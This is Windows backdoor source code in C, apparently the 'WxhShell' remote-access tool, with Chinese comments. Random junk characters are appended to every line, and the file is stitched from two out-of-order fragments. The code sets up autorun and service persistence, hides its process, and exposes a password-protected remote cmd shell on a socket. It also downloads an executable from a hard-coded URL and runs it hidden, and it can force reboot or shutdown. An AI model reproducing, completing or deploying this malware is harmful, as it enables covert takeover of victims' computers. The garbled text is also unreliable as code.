    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ua%j}%G(  
    else { |k/;1.b!9(  
    closesocket(wsh); -^$IjK-N  
    ExitThread(0); < _ <?p&  
    } \|R\pS}4  
    break; O _^Y*!  
    } I=4G+h5p  
  // 获取shell cg}lF9;d  
  case 's': { 6oq/\D$6~  
    CmdShell(wsh); >u?a#5R:m  
    closesocket(wsh); b}m@2DR'|m  
    ExitThread(0); VP6_}9:9   
    break; )bB Va^  
  } H:`H4 S}  
  // 退出 d+IN-lR(  
  case 'x': { 0@}:`OynX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F Xp_`9.zH  
    CloseIt(wsh); i dY Xv)R  
    break; `Wp& 'X  
    } qGECw#  
  // 离开 ?l ](RI  
  case 'q': { xPP]RoPR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tx}=c5  
    closesocket(wsh); xZ`h8  
    WSACleanup(); -y8> c0u  
    exit(1); @8|i@S@4  
    break; 9&OhCrxW-  
        } n@//d.T  
  } &B} ,xcNO  
  } '17V7A/t  
fvZ[eJ  
  // 提示信息 VI8/@A1Gv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lQ?_1H~4=  
} \S)cVp)h  
  } e+wINW  
_/h<4G6A  
  return; a} :2lL%  
} D<Z]kR(  
#8a k=lL  
// shell模块句柄 s#)0- Zj  
int CmdShell(SOCKET sock) G,,f' >  
{ d+&w7/F  
STARTUPINFO si; 4-W~ 1  
ZeroMemory(&si,sizeof(si)); p)*x7~3e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OT}P0 ~4s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~Da-|FKa>  
PROCESS_INFORMATION ProcessInfo; QT[4\)  
char cmdline[]="cmd"; L [X "N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kC/An@J^#  
  return 0; RtF!(gd  
} {6HgKI  
7J5Yzu)D  
// 自身启动模式 } v3w-  
int StartFromService(void) o:lMRP~  
{ 2:&QBwr+;  
typedef struct [&:dPd1_  
{ c=4z+_K  
  DWORD ExitStatus; (kSb74*g  
  DWORD PebBaseAddress; Vu Ey`c  
  DWORD AffinityMask; 1cd3m  
  DWORD BasePriority; FdS'0#$  
  ULONG UniqueProcessId; jluv}*If  
  ULONG InheritedFromUniqueProcessId; 5ih5=qX  
}   PROCESS_BASIC_INFORMATION; sn yA  
B1z7r0Rm,  
PROCNTQSIP NtQueryInformationProcess; (4FZK7Fm  
F[~~fm_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4'H)h'#C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C@9K`N[*  
"Q;Vy t  
  HANDLE             hProcess; e@g=wN"@  
  PROCESS_BASIC_INFORMATION pbi; 4gn|zSe>^  
O]Q8&(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M~g@y$  
  if(NULL == hInst ) return 0; Bn*QT:SKC  
I\('b9"*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fs8C ^Ik>~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "VA'W/yv!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5YQJNP  
lYy:A%yDT  
  if (!NtQueryInformationProcess) return 0; @[j%V ynf  
C0H@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WM GiV  
  if(!hProcess) return 0; j&`D{z-c~  
Eg$Er*)h8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5$/Me=g<  
)wk9(|[o  
  CloseHandle(hProcess); hGo/Ve+@  
SQDc%I>b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,sltB3f  
if(hProcess==NULL) return 0; P$"s*otr  
&IkHP/  
HMODULE hMod; q`HK4~i,  
char procName[255]; __)"-\w-_(  
unsigned long cbNeeded; ,~XAV ;+  
G+K`FUNA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -8&P1jrI  
, 4@C%  
  CloseHandle(hProcess); 4YCuO%  
j/hm)*\io  
if(strstr(procName,"services")) return 1; // 以服务启动 68nPz".X  
/B5rWJ2AS  
  return 0; // 注册表启动 +l>X Z  
} Q8NrbMrl  
gX/?  
// 主模块 py9`q7F  
int StartWxhshell(LPSTR lpCmdLine) >&)|fV&4  
{ gflO0$i  
  SOCKET wsl; &}VVr  
BOOL val=TRUE; ,/UuXX  
  int port=0; ab*O7v  
  struct sockaddr_in door; W(PNw2  
u\=yY.   
  if(wscfg.ws_autoins) Install(); &&te(DC\  
vJuL+'[i  
port=atoi(lpCmdLine);  T_<:  
p?x]|`M  
if(port<=0) port=wscfg.ws_port; %6TS_IpJ  
#Z}YQ $g  
  WSADATA data; U (A#}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ccgV-'IG9  
>;~ia3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2jyxP6t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &P gk$e%>  
  door.sin_family = AF_INET; 6v&@Rlg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,ydn]0SS  
  door.sin_port = htons(port); i[PksT#p  
OdtS5:L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q=+wQ[a<  
closesocket(wsl); HLl"=m1/>  
return 1; M|qJZ#{4>  
} Zu/1:8x  
Z xR  
  if(listen(wsl,2) == INVALID_SOCKET) { zq]:.s  
closesocket(wsl); 8 %^W<.Y  
return 1; r& nE M6  
} 6o]>lQ}  
  Wxhshell(wsl); x.>[A^  
  WSACleanup(); 5h p)Z7  
JiRfLB  
return 0; u{|^5%)  
QVWUm!  
} +aRHMH  
0Yfz?:e  
// 以NT服务方式启动 jYsg'Rl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I =nvL  
{ nLnzl  
DWORD   status = 0; '#CYw=S+  
  DWORD   specificError = 0xfffffff; PfJfa/#pA  
&p.7SPQ8/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )Z63 cr/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; els71t -  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DcEGIaW  
  serviceStatus.dwWin32ExitCode     = 0; ivPX_#QI  
  serviceStatus.dwServiceSpecificExitCode = 0; _6C,w`[[6  
  serviceStatus.dwCheckPoint       = 0; ' y_2"  
  serviceStatus.dwWaitHint       = 0; =v~$&@  
@<44wMp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {AAi x  
  if (hServiceStatusHandle==0) return; _"- ,ia[D  
D~@lpcI  
status = GetLastError(); Ir3|PehB  
  if (status!=NO_ERROR) \,yg@ R  
{ 9a{9|p>L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (h% xqXs  
    serviceStatus.dwCheckPoint       = 0; da5fKK/s  
    serviceStatus.dwWaitHint       = 0; fx/If  
    serviceStatus.dwWin32ExitCode     = status; ^Rmrre`uU  
    serviceStatus.dwServiceSpecificExitCode = specificError; N1X;&qZDd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); IdciGS6 t  
    return; >~@ABLp 6  
  } +<f!#4T  
vf['$um  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K2-nP2Go?  
  serviceStatus.dwCheckPoint       = 0; ". wG~H  
  serviceStatus.dwWaitHint       = 0; UUxP4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,~7+r#q7  
} .KF(_ 92  
?f=7F %  
// 处理NT服务事件,比如:启动、停止 XC\'8hL:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y?8V'.f|  
{ Fzn#>`qG  
switch(fdwControl) _)^`+{N<  
{ seNH/pRb  
case SERVICE_CONTROL_STOP: @D@'S:3  
  serviceStatus.dwWin32ExitCode = 0; 2w /qH4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c/`Rv{ *'o  
  serviceStatus.dwCheckPoint   = 0; mv1|oFVW  
  serviceStatus.dwWaitHint     = 0; Cj# ?Z7}z  
  { *jo1?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )iCg,?SSw=  
  } a}7P:e*u  
  return; r8[Ywn <u  
case SERVICE_CONTROL_PAUSE: eHH9#Vrhc$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gO m%?sg  
  break; r%^XOw<'  
case SERVICE_CONTROL_CONTINUE: a,\GOy(q{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %YI!{  
  break; hVu~[ 'Me  
case SERVICE_CONTROL_INTERROGATE: $lf\1)B~*  
  break; cb9@ 0^-  
}; zl["}I(*n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]8EkZC  
} BaE}|4  
X*rB`M7,  
// 标准应用程序主函数 dsA::jR0P6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <F+9#-  
{ Vvk \ $'  
T1fX[R ^\  
// 获取操作系统版本 \h7XdmA]~  
OsIsNt=GetOsVer(); 2T}FX4'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *mfPq"/  
+yIO  
  // 从命令行安装 xwu,<M v `  
  if(strpbrk(lpCmdLine,"iI")) Install(); UJGmaE  
a8r+G]Z  
  // 下载执行文件 nF{>RD  
if(wscfg.ws_downexe) { p0j-$*F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3G-f+HN^E  
  WinExec(wscfg.ws_filenam,SW_HIDE); Kw,ln<)2  
} }#9 |au`  
`pYL/[5  
if(!OsIsNt) { cUZ^,)8 Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 U%_6'5s{^  
HideProc(); PoRL35  
StartWxhshell(lpCmdLine); M@O<b-  
} u3_AZ2-;  
else \|Ya*8V  
  if(StartFromService())  Fs1ms)  
  // 以服务方式启动 Gm'Ch}E  
  StartServiceCtrlDispatcher(DispatchTable); 9Q*zf@w  
else Pna2IB+  
  // 普通方式启动 DqlspT  
  StartWxhshell(lpCmdLine); yy$7{9!  
ekO*(vQ~  
return 0; -Khb  
} 'C\knQ  
LQ=Fck~[r  
"=XRonQZ  
-xc'P,`  
=========================================== Q4&<RWbT^  
QzA/HP a  
8rgNG7d  
%dA7`7j  
/A/k13 J  
Q OP8{~O  
" Se&%Dr3Nv  
iC\t@BVS  
#include <stdio.h> )ia$pe s  
#include <string.h> d#wK  
#include <windows.h> Vr%!rQ  
#include <winsock2.h> cy4V*zwp  
#include <winsvc.h> { w:9w  
#include <urlmon.h> X P_ V  
n{r _Xa  
#pragma comment (lib, "Ws2_32.lib") 0P6< 4  
#pragma comment (lib, "urlmon.lib") e+>&? x  
E| =~rIKN  
#define MAX_USER   100 // 最大客户端连接数 U2VnACCUZs  
#define BUF_SOCK   200 // sock buffer ^LJ?GJ$g  
#define KEY_BUFF   255 // 输入 buffer j 1#T]CDs  
_gi?GQj  
#define REBOOT     0   // 重启 L[9]Ez$2+  
#define SHUTDOWN   1   // 关机 9{V54ue;  
JIyIQg'5i  
#define DEF_PORT   5000 // 监听端口 LuIs4&[EW  
Cn(0ID+3f  
#define REG_LEN     16   // 注册表键长度 @ 6{U*vs  
#define SVC_LEN     80   // NT服务名长度 80qe5WC.2u  
*ocbV`  
// 从dll定义API >VWH bo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #3act )m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zMQ|j_ l9E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Qr l>A*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _w>9Z>PR  
cYMlc wS  
// wxhshell配置信息 Q!dNJQpb  
struct WSCFG { "Hw%@  
  int ws_port;         // 监听端口 Bn_@R`  
  char ws_passstr[REG_LEN]; // 口令 r)SwV!b  
  int ws_autoins;       // 安装标记, 1=yes 0=no /R44x\nhr  
  char ws_regname[REG_LEN]; // 注册表键名 L(!mm  
  char ws_svcname[REG_LEN]; // 服务名 Dx<CO1%z-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :X;AmLf`2u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^~%z Plv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /K]<7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )#l,RJ(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &D 4Ci_6k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~ -hH#5  
*qm@;!C  
}; ij=}3;L_!  
mME a*9P  
// default Wxhshell configuration .\> I-  
struct WSCFG wscfg={DEF_PORT, e.IKmH]z  
    "xuhuanlingzhe", =K2mR}n\;  
    1, D*R49hja{  
    "Wxhshell", hup< U+p  
    "Wxhshell", zbDM+;  
            "WxhShell Service", ' Z}/3 dp  
    "Wrsky Windows CmdShell Service", Dj9).lgc  
    "Please Input Your Password: ", q={\|j$X  
  1, ]}&f<X  
  "http://www.wrsky.com/wxhshell.exe", $lMEZt8A  
  "Wxhshell.exe" r%/*,lLO  
    }; /)` kYD6  
q0hg0 DC[;  
// 消息定义模块 )} H46  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p}'uCT ga  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2nRL;[L*.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E5<}7Pt  
char *msg_ws_ext="\n\rExit."; VfiMR%i}  
char *msg_ws_end="\n\rQuit."; NN9` jP2  
char *msg_ws_boot="\n\rReboot..."; e/;chMCq  
char *msg_ws_poff="\n\rShutdown..."; ^3L6mOoA  
char *msg_ws_down="\n\rSave to "; ^^I3%6UY  
/8SQmh$+e  
char *msg_ws_err="\n\rErr!";  TVP.)%  
char *msg_ws_ok="\n\rOK!"; i>C:C>~  
;ip"V 0`  
char ExeFile[MAX_PATH]; iPxhDn<B  
int nUser = 0; 3S'juHT e  
HANDLE handles[MAX_USER]; x`vIY-DS  
int OsIsNt; 6%B5hv24v  
lll]FJ1  
SERVICE_STATUS       serviceStatus; H0 YxPk)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bt,^-gt@  
&ns !\!  
// 函数声明 89@e &h*  
int Install(void); {g>k-.  
int Uninstall(void); siHS@S  
int DownloadFile(char *sURL, SOCKET wsh); Tej-mr3P  
int Boot(int flag); eswsxJ/!  
void HideProc(void); Jn>7MuG  
int GetOsVer(void); u,e(5LU  
int Wxhshell(SOCKET wsl); v^h \E+@  
void TalkWithClient(void *cs); P/'~&*m-  
int CmdShell(SOCKET sock); cia4!-#  
int StartFromService(void); I"]5B  
int StartWxhshell(LPSTR lpCmdLine); JxP=[>I  
oA kF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l0 H,TT~2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3 G?^/nB  
RrkS!E[C  
// 数据结构和表定义  l+.E'   
SERVICE_TABLE_ENTRY DispatchTable[] = D@i,dPz5Zl  
{ [UVxtMJ  
{wscfg.ws_svcname, NTServiceMain}, $C UmRi{T  
{NULL, NULL} ,Z;z}{.hq  
}; nz|;6?LCLY  
NW`.RGLI<  
// 自我安装 xP.B,1\X  
int Install(void) ,x?H]a)  
{ {g2cm'hD  
  char svExeFile[MAX_PATH]; IPU'M*|Q  
  HKEY key; .-;K$'YG  
  strcpy(svExeFile,ExeFile); 6}.B2f9  
Ds$8$1=L=k  
// 如果是win9x系统,修改注册表设为自启动 Hut au^l  
if(!OsIsNt) { zn T85#]\@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U n#7@8,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HM])m>KeT  
  RegCloseKey(key); JrTSu`S('  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R$&|*0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |i"A!r W  
  RegCloseKey(key); sD$ \!7:b  
  return 0; ={?}[E  
    } OYJy;u3"  
  } {_1^ GIIS  
} Z1FO.[FV  
else { zi23k=  
M#JOX/  
// 如果是NT以上系统,安装为系统服务 SzR0Mu3uK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [IVT0 i  
if (schSCManager!=0) w| x=^  
{ z I`'n%n=  
  SC_HANDLE schService = CreateService dhN[\Z%  
  ( \^kyC1  
  schSCManager, 0Ng6Xg(QHc  
  wscfg.ws_svcname, 2B_6un];W  
  wscfg.ws_svcdisp, c h<Fi%)  
  SERVICE_ALL_ACCESS, e0HG"z4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , />XfK,c-  
  SERVICE_AUTO_START, Z&=K+P  
  SERVICE_ERROR_NORMAL, BBw`8!  
  svExeFile, J.:"yK""  
  NULL, .Lo$uKsW$l  
  NULL, I]>-~_  
  NULL, a\\B88iRRZ  
  NULL, 4@|K^nT`  
  NULL -vI?b#  
  ); $=$I^hV  
  if (schService!=0) Z9ciS";L  
  { v@;:aN  
  CloseServiceHandle(schService); j-ugsV`2=*  
  CloseServiceHandle(schSCManager); C8cB Lsa[J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7Nc@7_=  
  strcat(svExeFile,wscfg.ws_svcname); x{u_kepv[k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?L#C'Lz2+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t'4hWNR'  
  RegCloseKey(key); ?6B)Ek,'X?  
  return 0; %}P^B^O  
    } MQ2gzKw>  
  } ={b/s31H:  
  CloseServiceHandle(schSCManager); y-}lz#N  
} 2GcQh]ohc  
} ]Ole#Lz}Q  
it\{#rb=4  
return 1; a=k+:=%y  
} XZuJ<]}X,  
3=) /-l  
// 自我卸载 z-uJ+SA  
int Uninstall(void) zzuDI_,/  
{ B4R!V!Z*  
  HKEY key; <\?ySto  
Wt"@?#L  
if(!OsIsNt) { n.67f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?)1h.K1}M  
  RegDeleteValue(key,wscfg.ws_regname); o(>!T=f  
  RegCloseKey(key); [9a0J):w{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bOux8OHt*  
  RegDeleteValue(key,wscfg.ws_regname); oo3ZYA  
  RegCloseKey(key); $}l0Nh'Eu  
  return 0; jDcE_55o  
  } ;=hl!CB  
} N{iBVl  
} 7*OO k"9  
else { 5?k_Q"~  
=ALy.^J=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JrseU6N  
if (schSCManager!=0) _x z_D12  
{ E3.=|]W'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JJ ,Fh .  
  if (schService!=0) eGvHU ;@  
  { 9#/z [!  
  if(DeleteService(schService)!=0) { <!K2xb-d^  
  CloseServiceHandle(schService); Y:G6Nd VFM  
  CloseServiceHandle(schSCManager); gPe*M =iF  
  return 0; 0gHJ%m9s  
  } w@.E}%bwq  
  CloseServiceHandle(schService); ):&A\nb  
  } I'BoP  
  CloseServiceHandle(schSCManager); 2j H`  
} Tx0/3^\>8A  
} uwQ{y>SG  
!li Q;R&  
return 1; :^3MN  
} 6YrkS;_HS  
.Q?cNSWU  
// 从指定url下载文件 2#@S6zc  
int DownloadFile(char *sURL, SOCKET wsh) )& %X AW{  
{ [f.[C5f%"'  
  HRESULT hr; DkA cT[  
char seps[]= "/"; Q0,]Q ]_  
char *token; -a]oN:ERb  
char *file; m'r6.Hp3Ng  
char myURL[MAX_PATH]; +f+x3OMX3  
char myFILE[MAX_PATH]; VGM8&J{o'  
h -+vM9j  
strcpy(myURL,sURL); w@nN3U+  
  token=strtok(myURL,seps); ;_of'  
  while(token!=NULL) waQNX7Xdn  
  { }Nl-3I.S^  
    file=token; E92dSLhs5  
  token=strtok(NULL,seps); <N=p_m 2T  
  } 0+;.T1?  
/81Ux@,(e  
GetCurrentDirectory(MAX_PATH,myFILE); `9s5 *;Z  
strcat(myFILE, "\\"); B y6:  
strcat(myFILE, file); 9HRYk13ae  
  send(wsh,myFILE,strlen(myFILE),0); J@H9nw+Q  
send(wsh,"...",3,0); D._q'v<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9X@y*;w<t  
  if(hr==S_OK) zbx,qctYo$  
return 0; Yj/S(4(h?  
else #_QvnQ?I  
return 1; QT9(s\u  
WHvN6  
} ]$4k+)6  
%K;,qS'N_  
// 系统电源模块 "xa<Q%hk  
int Boot(int flag) j?+FS`a!  
{ 4bhm1Q  
  HANDLE hToken; *r?g&Vw$m  
  TOKEN_PRIVILEGES tkp; 4NQS'*%D  
E4HG`_cWb  
  if(OsIsNt) { u\ytiGO*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t=~al8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J Q%e'  
    tkp.PrivilegeCount = 1; V(=~p[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N/8qd_:8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2 Nr j@q  
if(flag==REBOOT) { Z%N{Y x(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G!8O*4+A  
  return 0; IpoZ6DB$  
} |Ag~k? QC  
else { 7sC$hm]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &rorBD 5aj  
  return 0; 7X2g"2\Wm  
} ;q6: *H/  
  } 2l{g$44  
  else { "T<Q#^m  
if(flag==REBOOT) { |5Mhrb4.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uz&CUvos  
  return 0; R6h(mPYA  
} 8PDt 7 \  
else { 9&g//JlD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s IY`H^  
  return 0; )|XmF4R  
} fR~_5 pt7  
} /wKW  
Aw;~b&.U{_  
return 1; lHV bn7  
} <o3e0JCq  
x5WFPY$wM  
// win9x进程隐藏模块 I6M 7xn  
void HideProc(void) Z$k4T$,[-  
{ :tedtV ~  
3K@dW"3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UVUbxFq:  
  if ( hKernel != NULL ) !Jh-v  
  { G>M# BuU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f:B+R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .*r ?zDV  
    FreeLibrary(hKernel); 7F>5<Gv:-  
  } }C}~)qaZv+  
,1Suq\ L  
return; c;&m}ImLe.  
} P cnr  
\"V7O'S)&  
// 获取操作系统版本 G+=eu K2]  
int GetOsVer(void) go|/I&  
{ &[3 xpi{v  
  OSVERSIONINFO winfo; Fs|fo-+H}k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ES;7_.q  
  GetVersionEx(&winfo); "e69aAA,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q+19EJ(  
  return 1; Zi|MWaA.f  
  else Zuo7MR  
  return 0; {<\nl#}5S  
} R^1sbmwk  
[0lCb"  
// 客户端句柄模块 'D1 T"}  
int Wxhshell(SOCKET wsl) N~;=*)_VH  
{ ua0`&,a3I  
  SOCKET wsh; WQ\'z?P  
  struct sockaddr_in client; dFjB &#Tl  
  DWORD myID; Gk;==~  
2ELw}9  
  while(nUser<MAX_USER) 2_x}wB0P  
{ _;O$o t\5  
  int nSize=sizeof(client); )r~$N0\D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %DqF_4U9  
  if(wsh==INVALID_SOCKET) return 1; A@Z&ZBDg  
^cZF#%k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U)=StpTT  
if(handles[nUser]==0) B0?E$8a  
  closesocket(wsh); I?G m  
else }W#Gf.$6C  
  nUser++; [D[s^<RJs  
  } <T)9mJYr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c_~)#F%P  
S:v]3G  
  return 0; MBIt)d@Ix  
} [<}:b>a  
:UoZ`O~  
// 关闭 socket g;i>nzf  
void CloseIt(SOCKET wsh) 2oXsPrtZ  
{ V k5}d[[l  
closesocket(wsh); 4'Z=T\:  
nUser--; |_&vW\  
ExitThread(0); EA7 8&  
} ;2(8&.  
btkD<1{g  
// 客户端请求句柄 ?[hIv6c  
void TalkWithClient(void *cs) cgNK67"(  
{ BD&JbH!(  
hD/bgquT  
  SOCKET wsh=(SOCKET)cs; q!\K!W\  
  char pwd[SVC_LEN]; 3lcd:=  
  char cmd[KEY_BUFF]; ry\Nm[SQ  
char chr[1]; (n;#Z,  
int i,j; vR.=o*!%  
0k>bsn/ j  
  while (nUser < MAX_USER) { X!ZUR^  
:aI[ lZ  
if(wscfg.ws_passstr) { 1//d68*"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O68/Hf1W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KC9_H>  
  //ZeroMemory(pwd,KEY_BUFF); K'kWL[Ut!  
      i=0; VI: !#  
  while(i<SVC_LEN) { X,y0 J  
[~m@'/  
  // 设置超时 X31[  
  fd_set FdRead; M>nplHq   
  struct timeval TimeOut; pyhC%EZU  
  FD_ZERO(&FdRead); X:+lD58  
  FD_SET(wsh,&FdRead); FBJw (.Jr  
  TimeOut.tv_sec=8; = &jLwy  
  TimeOut.tv_usec=0; mlW0ptp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _^]2??V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hg[ob+"  
}G}2Y (  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2L Kpwz?  
  pwd=chr[0]; _Cn[|E  
  if(chr[0]==0xd || chr[0]==0xa) { {_T?0L  
  pwd=0; `1k0wT(  
  break; +AkAMZ"Mg  
  } W: R2e2  
  i++; ncZ5r0  
    } Qau\6p>^  
ZmU7tK  
  // 如果是非法用户,关闭 socket kEiWE|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {WJ9!pA!lk  
} zr#n^?m  
3"afrA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s\&qvL1D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Cn+'!?!d,  
1@" L  
while(1) { 6WUP#c@{  
%Y!31oC#  
  ZeroMemory(cmd,KEY_BUFF); s.ywp{EF  
<uq#smY  
      // 自动支持客户端 telnet标准   kq +`.  
  j=0; N;N,5rxV  
  while(j<KEY_BUFF) { ))Q3;mI"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ROH 2KSt  
  cmd[j]=chr[0]; BhFyEY(  
  if(chr[0]==0xa || chr[0]==0xd) { JSO'. [N  
  cmd[j]=0; -hv<8bC~4  
  break; 2x3%*r$  
  } e:2e5gz  
  j++; [@K#BFA  
    } P:Nj;Cxh  
&.D#OnRh9  
  // 下载文件 @ootKY`  
  if(strstr(cmd,"http://")) { ?VM4_dugf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *Y"j 0Yob  
  if(DownloadFile(cmd,wsh)) )GgO=J:o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `]*BDSvE  
  else aJ;6!WFW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); { [S@+  
  } 78o>UWA:  
  else { pXL@&]U+  
b&iJui"7k  
    switch(cmd[0]) { @-d0 ~.S  
  ~:Pu Kx  
  // 帮助 T1Gy_ G/  
